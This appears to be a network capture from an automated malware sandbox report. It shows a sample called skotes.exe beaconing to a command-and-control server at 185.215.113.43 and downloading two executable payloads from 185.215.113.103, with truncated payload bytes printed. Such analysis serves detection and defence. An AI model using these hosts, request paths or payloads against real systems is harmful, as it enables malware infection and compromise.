Oct 17, 2024 18:39:33.576473951 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59464 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:33.929140091 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:34.056665897 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59464 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:34.068073988 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:34.199543953 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59465 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:37.409837008 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:37.538167000 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59468 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:47.544634104 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 17, 2024 18:39:53.309354067 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:53.439912081 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59484 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:58.834427118 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:58.967727900 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59489 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:40:04.005832911 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:40:04.136018991 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59495 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:40:04.632632971 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:40:04.769984007 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59495 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:40:14.781676054 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 17, 2024 18:40:24.796098948 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 17, 2024 18:40:34.816529036 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50048	185.215.113.43	80	2584	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:40:04.579524994 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 17, 2024 18:40:05.527394056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 17 Oct 2024 16:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50049	185.215.113.43	80	2584	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:40:07.042536974 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 17, 2024 18:40:07.966161966 CEST	646	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 17 Oct 2024 16:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 37 0d 0a 20 3c 63 3e 31 30 30 30 33 34 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 66 65 61 31 63 36 37 65 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 35 30 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 33 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 30 30 33 36 31 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 [TRUNCATED] Data Ascii: 1c7 <c>1000349001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4fea1c67edd534db057eb410a494d9d#1000350002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000357001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8e4f4b2846d934f48b15eaa495c49#1000361031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8e7e7b9ca30804042ba5ce902415450#1000401001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50050	185.215.113.103	80	2584	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:40:07.976418972 CEST	56	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 17, 2024 18:40:09.887254000 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 16:26:11 GMT ETag: "2cf800-624aea4fdd4ea" Accept-Ranges: bytes Content-Length: 2947072 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 4b 61 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0Ka-@Wk ^@.rsrc n@.idata n@qtagrrkdpbp@hxekdemwp0,@.taggant00",@
Oct 17, 2024 18:40:09.887268066 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:09.891443014 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:09.891457081 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:40:09.892077923 CEST	1236	IN	Data Raw: b0 86 1b 15 27 ae f6 87 28 de eb 89 56 59 08 90 e9 92 2f f9 52 18 e3 e2 f2 90 39 a8 64 fc ba 4d e5 17 4a 1c 75 ae be ff f5 da b7 d1 73 31 1e 4b 4c 21 b4 14 0f de da 81 ed c9 b9 d0 74 fe 45 d7 45 d3 62 fb 4a 1f b5 5b 39 17 3a bf e5 cd c7 1f 72 ba Data Ascii: '(VY/R9dMJus1KL!tEEbJ[9:r_Ze\pE"S#hdWvW#f&7RxN"kfL,.Sm`UeGYulVRlQ:w?#5NcRcw>!^vTVEg
Oct 17, 2024 18:40:09.892091036 CEST	1236	IN	Data Raw: f6 d6 78 be a6 17 4e 84 04 78 26 05 ab 8a e7 e4 a4 91 7b 0c b6 82 9b e7 bc 08 7d a7 6d 06 8d d2 5e 95 34 3f 93 4c 85 59 69 d6 d2 bc 6d 5b 99 a9 ed 89 d8 cf 26 1c 63 fa 59 13 c7 a8 3e 1c a6 6f 86 d6 d2 28 04 17 cb 95 65 48 8b ca 8d 50 0a e1 2d 38 Data Ascii: xNx&{}m^4?LYim[&cY>o(eHP-8KC&fWZ{:m#]%]DrY\|#jjMxhh+sG"Igv]HWi~Q)'8&S("iO\|(K\|5D\S
Oct 17, 2024 18:40:09.896229029 CEST	1236	IN	Data Raw: a4 ab 0c fa 71 82 ed 53 56 cf 93 0e 94 f1 77 85 50 29 16 aa 14 a6 c8 95 f4 df c7 ab cd 55 d4 1b 23 d0 ce c2 29 a8 da d7 70 8d f4 a3 7a 45 62 cc a2 95 bf f3 6d c1 3d 90 bd ce 3b 49 76 99 48 ac 93 f2 b4 4b 81 17 06 10 c6 61 a0 d1 0f e0 ef f0 8b 20 Data Ascii: qSVwP)U#)pzEbm=;IvHKa LNI}U{_v3NACcCA~sT}1UK"KgOKo0gtMcShqj9QWC`ZS1[5O)\*LLNlK
Oct 17, 2024 18:40:09.896243095 CEST	1236	IN	Data Raw: ad 1e 2f 01 cf d1 66 f0 8b a7 15 94 51 2e 7c 93 43 14 71 43 ac 1a 94 bb 52 25 06 57 e2 36 c1 b8 f6 68 cc f5 ed bb f8 0a 2c 8c ba a1 de df f6 97 7d 34 ff 27 ee 32 2d f7 cc 34 60 fa f2 fa 7e b4 da 0a 93 ec 86 05 75 ea 30 bd 56 b0 57 37 01 0b bd da Data Ascii: /fQ.\|CqCR%W6h,}4'2-4`~u0VW7%5st-~n/9+5L@SO?5:@G6>O>_YmVxU{<[(!l__}vzS'Nm\w_YWCfD
Oct 17, 2024 18:40:09.896934032 CEST	1236	IN	Data Raw: 28 76 ce 11 02 5b cb bc a5 c2 37 e1 f9 a1 c8 90 e1 84 16 8a 1d 43 3c 19 0e 0a fe 25 51 f8 6a e7 4d 62 11 86 fa d0 33 96 52 ab 45 ed 4f a8 82 ea b6 07 82 48 a4 16 9f ab 71 ac 56 7d c4 05 63 60 72 02 ab 02 96 46 5b b8 75 52 a9 82 3f 0e f3 6b 34 46 Data Ascii: (v[7C<%QjMb3REOHqV}c`rF[uR?k4Fq5L 'N(gx@;TO\|3TfZ5s_\|/q+Ok7=6j%UJRFJqQeDSAs/Dwd=#.Om6hoW>$7
Oct 17, 2024 18:40:09.896946907 CEST	1236	IN	Data Raw: 29 ec 89 d6 78 64 63 9b 1d 9c 6e 5f 85 78 74 0f 31 16 42 11 8f 34 5e 4a f1 8e 31 33 ef 26 1a 97 3c fc 72 bf 3e 12 43 d5 38 1e 9a 7f 4a c4 b4 db 54 f9 45 fe 9d 29 e7 31 71 0d ea 60 0a 3e 93 e6 9c 31 ee 67 51 b8 cd 43 77 67 2d 8f d6 90 72 28 d3 e1 Data Ascii: )xdcn_xt1B4^J13&<r>C8JTE)1q`>1gQCwg-r(X_yl\ZGH/IvbVK+E@@5gt`{T9C_2p@SPQsCk,^Vt{4MHx2:'QiqhS
Oct 17, 2024 18:40:09.901084900 CEST	1120	IN	Data Raw: 6f eb 52 28 27 ce 0f 92 76 af 6b ea 53 75 09 66 2b 91 c6 0f 77 43 d2 3c 13 82 fd 88 15 5c 0a 15 a5 8b 4c 51 4f b0 8e 13 d8 fe be 3f ab bf ba ec 8e 5c e6 d7 a0 43 ab 6a e1 82 88 1e 3b 87 02 fb 74 83 7b 91 01 47 dc b5 8c 68 db 3d 3d f8 10 04 30 17 Data Ascii: oR('vkSuf+wC<\LQO?\Cj;t{Gh==0(nuG#n"8 xZ mXqMJw]U[/$M=BXRbU>WF`K(JR(8rD4:(T^B&yF:e0CU6sg1'r
Oct 17, 2024 18:40:09.901669025 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 16:26:11 GMT ETag: "2cf800-624aea4fdd4ea" Accept-Ranges: bytes Content-Length: 2947072 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 4b 61 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0Ka-@Wk ^@.rsrc n@.idata n@qtagrrkdpbp@hxekdemwp0,@.taggant00",@
Oct 17, 2024 18:40:09.935050011 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 16:26:11 GMT ETag: "2cf800-624aea4fdd4ea" Accept-Ranges: bytes Content-Length: 2947072 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 4b 61 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0Ka-@Wk ^@.rsrc n@.idata n@qtagrrkdpbp@hxekdemwp0,@.taggant00",@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50052	185.215.113.43	80	2584	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:40:17.437690973 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Oct 17, 2024 18:40:18.391024113 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 17 Oct 2024 16:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50053	185.215.113.103	80	2584	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:40:18.405801058 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 17, 2024 18:40:19.339066982 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 16:26:16 GMT ETag: "1c8800-624aea55376ab" Accept-Ranges: bytes Content-Length: 1869824 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 b0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 6a 00 00 04 00 00 ce c2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@j@P%d% %(@.rsrc %8@.idata %8@ *%:@dxmeshoa0pP$<@odcdjryqj`@.taggant0j"f@
